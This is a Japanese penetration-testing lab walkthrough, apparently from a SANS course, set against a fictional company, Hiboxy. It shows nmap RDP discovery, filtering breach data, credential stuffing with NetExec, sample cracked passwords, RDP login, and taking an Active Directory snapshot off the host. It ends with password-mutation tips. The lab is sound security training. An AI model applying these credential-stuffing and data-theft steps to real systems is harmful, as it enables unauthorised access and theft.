ラボ 1.1: クレデンシャルスタッフィング攻撃による侵害
オンライン演習
接続性: この演習には、クラス内ネットワーク(560A VPN経由)への接続が必要です
目的
- 特定のドメインに対するクレデンシャルスタッフィングデータの分析
- 企業が公開している単一要素認証サービスの発見
- リモートデスクトッププロトコル(RDP)を使用したクレデンシャルスタッフィングによるアクセス取得
- 対象システムを分析し、機密データを発見して窃取する
ウォークスルービデオ
ラボのセットアップ
使用する仮想マシン:
- Windows 11
Windows 11 VMから10.130.10.10にpingできることを確認してください:
コマンド
ping 10.130.10.10
想定される結果
C:\Users\sec560> ping 10.130.10.10
Pinging 10.130.10.10 with 32 bytes of data:
Reply from 10.130.10.10: bytes=32 time<1ms TTL=127
Reply from 10.130.10.10: bytes=32 time<1ms TTL=127
Reply from 10.130.10.10: bytes=32 time<1ms TTL=127
Reply from 10.130.10.10: bytes=32 time<1ms TTL=127
Ping statistics for 10.130.10.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
警告: OpenVPN接続が必要です!
10.130.10.10にpingできない場合は、続行する前にOpenVPNサーバーに接続する必要があります。https://connect.labs.sans.org/ にアクセスし、SANSアカウントでログインしてください。OpenVPN設定ファイル(ファイル名 sec560-labs-range.ovpn
)をホストOSにダウンロードし、Windowsの仮想マシンにコピー&ペーストした後、Windowsデスクトップ上の OpenVPN profiles ショートカットにドラッグ&ドロップしてください(管理者権限のプロンプトが表示されたら承認してください)。最後に、デスクトップ上の OpenVPN GUI ショートカットをダブルクリックし、新しいOpenVPNトレイアイコンを右クリックして Connect をクリックしてください。
ラボ – ステップバイステップの手順
このラボでは、hiboxy.com Active Directoryドメイン内の公開されたRDPサーバーを発見し、過去の侵害から得られた@hiboxy.comアカウントの認証情報を見つけ、それらの認証情報を再利用してRDPサーバーへの有効なログインを見つけ、ログインしてデータを窃取します。
このラボは、侵害が効果的であるために複雑である必要はなく、「実際の」エクスプロイトが関与する必要もないことを示しています。バグはパッチされますが、機能は永遠に残ります。
1: 単一要素認証サービスの発見
Hiboxyの外部ネットワークプレゼンスをレビューする際、Shodanを使用して既に公開されたRDPサーバーを発見しました:
注意
Hiboxyはこのクラスで使用される架空の会社であるため、Shodanの結果は作成されたものです。11.0.0.0/8の範囲は実際には米国防総省が所有しており、このIPアドレスをスキャンしたり、やりとりしたりしないでください。
Hiboxyは、OpenVPN経由でこのペネトレーションテストのために内部ネットワークアクセスを提供しています。彼らは、RDPサーバーであるRDP01が、ファイアウォールからのNATを使用して外部からアクセス可能であることを確認しており、内部IPアドレスは10.130.10.23です。
まず、RDPサーバーが内部ネットワークからアクセス可能であることを確認しましょう。Windows 11 VMのデスクトップにある Terminal リンクを使用して新しいPowerShellウィンドウを起動し、次のコマンドを実行してください:
コマンド
nmap 10.130.10.23 -p 3389 --script rdp-ntlm-info --unprivileged -Pn
想定される結果
PS C:\Users\sec560> nmap 10.130.10.23 -p 3389 --script rdp-ntlm-info --unprivileged -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-13 14:09 Pacific Daylight Time
Nmap scan report for ip-10-130-10-23.us-east-2.compute.internal (10.130.10.23)
Host is up (0.079s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
| Target_Name: HIBOXY
| NetBIOS_Domain_Name: HIBOXY
| NetBIOS_Computer_Name: RDP01
| DNS_Domain_Name: hiboxy.com
| DNS_Computer_Name: rdp01.hiboxy.com
| DNS_Tree_Name: hiboxy.com
| Product_Version: 10.0.20348
|_ System_Time: 2024-08-13T21:10:00+00:00
Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds
同じRDPサーバーが内部で利用可能であることを確認しました。また、Active Directoryドメイン名(hiboxy.com)も確認しました。
VPN経由でスキャンしているため、Nmapに --unprivileged
引数が必要です。10.130.10.23はポート80と443に応答しない(Nmapが非特権スキャンでホストが生きているかどうかを判断するためにデフォルトで使用する)ため、ホスト検出フェーズをスキップするために -Pn
引数を使用する必要があります。
ヒント
Microsoft Exchangeも内部Active Directoryドメイン名を明らかにし、Exchangeは一般的に外部に公開されています。興味があれば、次のコマンドを使用してこの環境内でドメイン名を見つけることができます: nmap 10.130.10.25 -Pn -n -p 25 --script smtp-ntlm-info --unprivileged
2: 侵害データの検索
Active Directoryドメイン名がわかったので、そのドメインのアカウントの侵害データを検索できます。Windows 11 VM内に、過去の既知の侵害からのユーザー名とパスワードを含む C:\CourseFiles\breachdata.txt
というファイルがあります。このデータを使用してRDPサーバーへのログインを試みることができます。
まず、元の breachdata.txt
ファイルの最初の3行を見て、データの形式(emailaddress:password
)を確認します。次に、@hiboxy.com:
を含む行を検索し、hiboxy_breachdata.txt
という新しいファイルに保存し、そこからユーザー名とパスワードを抽出します。
コマンド
cd C:\CourseFiles
Get-Content breachdata.txt | Select-Object -First 3
# Get lines containing "@hiboxy.com:" using Select-String, without line numbers, and put them in hiboxy_breachdata.txt
Select-String "@hiboxy.com:" C:\CourseFiles\breachdata.txt | Select-Object -ExpandProperty Line | Out-File -encoding ascii hiboxy_breachdata.txt
想定される結果
PS C:\WINDOWS\system32> cd C:\CourseFiles
PS C:\CourseFiles> Get-Content breachdata.txt | Select-Object -First 3
linda.miller@fabrikam.com:abc123
david.brown@northwindtraders.com:12345
john.smith@adatum.com:password123
PS C:\CourseFiles> # Get lines containing "@hiboxy.com:" using Select-String, without line numbers, and put them in hiboxy_breachdata.txt
PS C:\CourseFiles> Select-String "@hiboxy.com:" C:\CourseFiles\breachdata.txt | Select-Object -ExpandProperty Line | Out-File -encoding ascii hiboxy_breachdata.txt
hiboxy_breachdata.txt
ファイルからユーザー名とパスワードを抽出します。まず、ユーザー名(@
記号の左側のすべて)を抽出し、hiboxy_users.txt
という新しいファイルに保存します。次に、パスワード(最初の :
記号の右側のすべて。パスワードに :
が含まれている場合でも)を抽出し、hiboxy_passwords.txt
という新しいファイルに保存します。
コマンド
Get-Content C:\CourseFiles\hiboxy_breachdata.txt | ForEach-Object { $_.Split('@')[0] } | Out-File -encoding ascii C:\CourseFiles\hiboxy_users.txt
Get-Content C:\CourseFiles\hiboxy_breachdata.txt | ForEach-Object { $_.Split(':',2)[1] } | Out-File -encoding ascii C:\CourseFiles\hiboxy_passwords.txt
想定される結果
PS C:\CourseFiles> Get-Content C:\CourseFiles\hiboxy_breachdata.txt | ForEach-Object { $_.Split('@')[0] } | Out-File -encoding ascii C:\CourseFiles\hiboxy_users.txt
PS C:\CourseFiles> Get-Content C:\CourseFiles\hiboxy_breachdata.txt | ForEach-Object { $_.Split(':',2)[1] } | Out-File -encoding ascii C:\CourseFiles\hiboxy_passwords.txt
hiboxy_users.txt
ファイルの最初の行は、hiboxy_passwords.txt
ファイルの最初の行に対応しています。一部のツール(クラスで後で使用する THC-Hydra など)では、username:password
形式の認証情報を含む1つのファイルを使用できますが、そうでないツールもあります。
3: SMBクレデンシャルスタッフィング
次のツールは NetExec で、大規模環境のセキュリティテストを自動化するのに役立つペネトレーションテストツールです。侵害データで見つけた認証情報を使用してRDPサーバーへのログインを試みるためにNetExecを使用します。より高速なラボのために、ターゲットサービスとしてSMBを使用します。RDPもオプションとして利用できますが、出力が遅く、一部の状況では信頼性が低い場合があります。
コマンド
nxc smb -u "C:\CourseFiles\hiboxy_users.txt" -p "C:\CourseFiles\hiboxy_passwords.txt" -d hiboxy.com --continue-on-success --no-bruteforce 10.130.10.23
想定される結果
PS C:\CourseFiles> nxc smb -u "C:\CourseFiles\hiboxy_users.txt" -p "C:\CourseFiles\hiboxy_passwords.txt" -d hiboxy.com --continue-on-success --no-bruteforce 10.130.10.23
SMB 10.130.10.23 445 RDP01 [*] Windows Server 2022 Build 20348 x64 (name:RDP01) (domain:hiboxy.com) (signing:False) (SMBv1:False)
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\jsmith:Summer2020! STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\dmiller:nuggetnugget STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\amartin:AstonMartinDB5 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\jwood:Rockin10 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [+] hiboxy.com\hmoore:Shane1**
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\mjohnson:Chocolate1! STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\agardner:Vocabulary STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\emartinez:Explorer007 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\mlee:Musketeer_4th STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\tanderson:MatrixRev9 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\wwilliams:Williams@2020 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\jmartinez:Julio@2003 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\khill:OverTheHill45 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\swilson:SeahawksFan52 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\dbrown:BostonCeltics#1 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\cdavis:ClaraD!2020 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\hthomas:TommyBoy2022 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [+] hiboxy.com\sbishop:Ethnogeographically1
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\rduran:Winter2018! STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\rrodriguez:Rodriguez24@ STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\syoung:Youngster52 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\mgarcia:MariaG2020* STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\awright:WrightFlight1903 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [+] hiboxy.com\apena:F1r3Dr@g0n
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\bhall:BeachBum$29 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\ljones:LiverpoolFC! STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\nlopez:Spring2019 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\jclark:ClarkKent2019 STATUS_LOGON_FAILURE
SMB 10.130.10.23 445 RDP01 [-] hiboxy.com\eharris:EddieMoney2020 STATUS_LOGON_FAILURE
コンテキストのために、使用されたコマンドラインオプションは次のとおりです:
smb
- SMBプロトコルを使用-u "C:\CourseFiles\hiboxy_users.txt"
- ファイルhiboxy_users.txt
内のユーザー名を使用-p "C:\CourseFiles\hiboxy_passwords.txt"
- ファイルhiboxy_passwords.txt
内のパスワードを使用-d hiboxy.com
- ドメインhiboxy.com
を使用(ローカル認証情報ではなく)--continue-on-success
- 1つが成功しても他の認証情報を試行し続ける--no-bruteforce
- ファイルからペアのユーザー名とパスワードを使用。バリエーションは試行しない(最初のユーザー名と最初のパスワード、2番目のユーザー名と2番目のパスワードなど)
侵害されたパスワードのバリエーションを試したり、Statistically Likely Usernames のようなソースを使用して他のユーザー名を試したりすることもできますが、今のところ有効な認証情報があるので、それらを使用してログオンすることに進みましょう。
4: 機密データの発見、収集、窃取
発見した認証情報を使用してログオンしましょう。3つのアカウントから1つを選択してログインし、Windows上の組み込みRDPクライアントを起動します。
コマンド
# Pick randomly from the three working accounts
"hmoore","sbishop","apena" | Get-Random
mstsc
想定される結果
PS C:\CourseFiles> "hmoore","sbishop","apena" | Get-Random
hmoore
PS C:\CourseFiles> mstsc
注意
Get-Random
コマンドからの出力は当然異なる場合があります。
最後のコマンド(mstsc
)は、リモートデスクトップ接続アプリケーションを起動します。これは次のように表示されます:
宛先コンピューターとして 10.130.10.23 を入力し、Show Options をクリックしてください。ドメインを含めて上記でランダムに選択したユーザー名を入力してください(例:hiboxy\hmoore
)。Local Resources タブの下で、More... をクリックし、Drives がチェックされていることを確認してください(以下のように):
OK をクリックしてローカルデバイスを確認し、プロンプトが表示されたら Connect をクリックしてリモート接続を承認してください:
証明書の警告が再度表示された場合は、Yes をクリックしてください。
次に、上記で選択したアカウントのパスワードを入力してください。
念のため、動作した3つのアカウントは次のとおりです:
hiboxy.com\hmoore:Shane1**
hiboxy.com\sbishop:Ethnogeographically1
hiboxy.com\apena:F1r3Dr@g0n
ログオン後、次のようなデスクトップが表示されます:
素晴らしい!任意のコードを実行できる認証された内部セッションは、攻撃者にとって強力な立場です。環境に関する情報を収集することから始めましょう。Active Directory Explorer (ADExplorer) を使用してHiboxyのActive Directory環境を調査します。また、Hiboxy AD環境のスナップショットを作成して自分のマシンで分析したり、他の機密データを発見して窃取したりすることもできます。
画面の左下隅にあるWindowsフォルダアイコンをクリックします:
次に、表示される File Explorer ウィンドウで This PC をクリックします。Redirected drives and folders の下で、C on SEC560-WINDOWS をダブルクリックします:
次に、bin ディレクトリを開き、ADExplorer をダブルクリックします:
プロンプトが表示されたら、Agree をクリックしてライセンス契約に同意してください。ADExplorerが開いたら、接続情報を空白のままにして(現在のActive Directoryドメインにデフォルト設定されます)、OK をクリックします:
HiboxyのActive Directory環境のビューが表示されます。これはActive Directoryユーザーとコンピューターに似ています。必要に応じて、ウィンドウの左側のツリーをナビゲートして環境を探索できます。
ウィンドウの左上隅にある File をクリックし、Create Snapshot をクリックします。省略記号(...)をクリックしてスナップショットを保存する場所を選択し、左側の Quick access メニューの下にある Desktop ショートカットをクリックし、File name: フィールドに Hiboxy-snapshot と入力し、Save をクリックしてから OK をクリックします:
これでADExplorerを閉じることができます。次に、スナップショットを窃取します。デスクトップ上の Hiboxy-snapshot
ファイルを右クリックして Cut をクリックし、まだ開いている File Explorer ウィンドウに右クリックして Paste をクリックします。これにより、スナップショットがWindows 11 VMの C:\bin ディレクトリに移動されます。
情報
ADExplorerは C:\bin ディレクトリに直接保存できますが、RDPのファイル遅延により時間がかかります。
画面の上部中央にある X をクリックしてリモートデスクトップ接続を閉じてください:
5: 窃取したADExplorerデータの分析
HiboxyがRDP接続とスナップショットの窃取に気付いたとしても、窃取されたデータのあなたのコピーを削除することはできません。また、Microsoft署名付きバイナリ(ADExplorer)を使用してデータを収集したため、AVまたはEDRソリューションはこの活動を無視する可能性が高いです。
次に、今度はWindows 11 VM上でADExplorerを開きます。C:\bin ディレクトリにADExplorerの実行可能ファイルがあります。開いて(要求された場合はEULAに同意して)、Enter the path of a previous snapshot to load. ラジオボタンを選択してください。Path: テキストウィンドウの右側にある省略記号ボタン(...)をクリックし、C:\bin ディレクトリに移動し、Hiboxy-snapshot
ファイルを選択してから Open をクリックします:
OK をクリックしてスナップショットを読み込みます。RDPサーバーで見たのと同じHiboxy Active Directory環境のビューが表示されるはずです。
ADExplorerウィンドウの左側にある DC=hiboxy,DC=com
アイコンをクリックします。右側のウィンドウペインに、ドメインオブジェクト自体のLDAP属性名と値が表示されます。
まず、ms-DS-MachineAccountQuota を見てください。その値が 10 に設定されているのがわかりますか?これは危険なデフォルト設定です。これは、任意のユーザーがドメイン内で最大10個のコンピューターアカウントを作成できることを意味します。本質的に 危険というわけではありませんが、他の欠陥と組み合わせることで危険な攻撃を可能にする可能性があり、ペネトレーションテストの所見となるべきものです。代わりに、コンピューターアカウントの作成には専用アカウントを使用し、ms-DS-MachineAccountQuotaの値は 0 にする必要があります。
次に、minPwdLength を見てください。これは 7 です。lockoutThreshold が 0(ロックアウトなし)と組み合わされると、パスワード推測攻撃を影響なく実行できることを意味します。pwdProperties 属性は 1 に設定されており、これはパスワードが「複雑」でなければならないことを意味します。これらの設定は非常に弱いパスワードポリシーを組み合わせたもので、攻撃者は影響や潜在的な本番環境への影響なしに、サーバーが許可する限り速くパスワードを推測できます。
今のところ、ADExplorerを閉じましょう。今後のラボでHiboxyをより詳細に調査しますが、すでにいくつかの高リスクな所見を発見しました。
結論
このラボでは、Hiboxyドメイン内の公開されたRDPサーバーを発見し、ドメインの侵害された認証情報を見つけ、それらの認証情報を使用してRDPサーバーにログインし、機密データを窃取しました。ドメインには弱いパスワードポリシーと、コンピューターアカウント作成のための危険なデフォルト設定があることがわかりました。
重要なことに、侵害が効果的であるために複雑である必要はなく、パッチ可能な欠陥が関与する必要もないことを確認しました。
もっとやってみたいですか?以下にいくつかのアイデアがあります:
- ドメイン内のすべてのユーザーの権威あるリストをダンプし(Impacketの GetADUsers.py スクリプトを使用)、それらに対して一般的なパスワードをスプレーする
- 一般的なパスワード(https://weakpasswords.net/)および既知の侵害されたパスワードをスプレーする
- hashcatルール(best66.rule など)または自分の知性を使用して、既知の侵害された認証情報のバリエーションを試す(例えば、以前侵害されたパスワード
Winter2018!
をSummer2024!
に更新する)
ボーナス
2人のユーザーは、C:\CourseFiles\breachdata.txt
ファイルで見つかったのと同じパスワード パターン を持っています:
- Nathan Lopez(HR)、nlopez@hiboxy.com、侵害データでは
Spring2019
として表示されます。ただし、侵害データは本質的に古いため、現在と次の季節を試してみてください! - Rachel Duran(マーケティング)、rduran@hiboxy.com、侵害データでは
Winter2018!
として表示されます。現在と次の季節で同じパターン(!
付き)を試してみてください!
2人のユーザーは、C:\CourseFiles\breachdata.txt
ファイルで見つかったパスワードに小さなバリエーションがあります:
- Andrea Gardner、agardner@hiboxy.com、侵害データでは
Vocabulary
として表示されます。パスワードの末尾に数字または特殊文字を追加してみてください。 - Jonathan Wood、jwood@hiboxy.com、侵害データでは
Rockin10
として表示されます。パスワードの末尾に数字または特殊文字を追加してみてください。